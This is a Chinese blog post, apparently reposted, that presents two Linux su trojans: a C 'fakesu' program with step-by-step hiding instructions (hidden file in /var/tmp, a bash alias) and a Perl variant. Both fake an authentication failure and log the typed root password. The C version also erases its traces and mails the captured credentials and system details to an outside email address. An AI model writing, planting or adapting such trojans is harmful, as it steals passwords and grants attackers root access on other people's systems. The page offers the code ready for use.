linux中su的密码,linux下记录su密码的代码

本文介绍了一种伪造su命令的技术实现,通过C语言和Perl脚本的方式记录登录尝试的用户名和密码,并发送失败信息。该技术可用于安全审计或恶意软件中。

/*

* kpr-fakesu.c V0.9beta167 ;P

* by koper

*

* Setting up:

* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c

* admin@host:~$ mv .su /var/tmp/.su

* admin@host:~$ cp .bash_profile .wgetrc

* admin@host:~$ echo “alias su=/var/tmp/.su”>>.bash_profile

* admin@host:~$ logout

* *** LOGIN ***

* admin@host:~$ su

* Password:

* su: Authentication failure

* Sorry.

* admin@host:~$ su

* Password:

* root@host:~# logout

* admin@host:~$ cat /var/tmp/.pwds

* root:dupcia17

* admin@host:~$

*

* /bin/su sends various failure information depending on the OS ver.

* Please modify the source to make it “fit”

0818b9ca8b590ca3270a3433284dd417.png

*

*/

#include

#include

main(int argc, char *argv[]){

FILE *fp;

char *user;

char *pass;

char filex[100];

char clean[100];

sprintf(filex,”/var/tmp/.pwds”);

sprintf(clean,”rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile”);

if(argc==1) user=”root”;

if(argc==2) user=argv[1];

if(argc>2){

if(strcmp(argv[1], “-l”)==0)

user=argv[2];

else user=argv[1];}

fprintf(stdout,”Password: “); pass=getpass (“”);

system(“sleep 3″);

fprintf(stdout,”su: Authentication failure\nSorry.\n”);

if ((fp=fopen(filex,”w”)) != NULL)

{

fprintf(fp, “%s:%s\n”, user, pass);

fclose(fp);

}

system(clean);

system(“rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su”);

/* If you don’t want password in your e-mail uncomment this line: */

system(“uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail murrain@gmail.com“);

}

perl版本:

#!/usr/bin/perl

####################################################################################################

# kyle@freeshell.se 2006 su trojan check so the su path is correct.                                #

# then make alias for trojan first it reads the pass then exec the real su.                      #

# logging to /tmp/.pass                                                                         #

####################################################################################################

print “Password: “; $s1=;

print “Sorry.\n”;

$s2=”Password is: “;

$s3=`date +%Y-%m-%d`;

open (users, “>>/tmp/.pass”) || die (“Could not open file. $!”);

print users ($s2, $s1,$s3);

close (users);

system(“/bin/su”)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值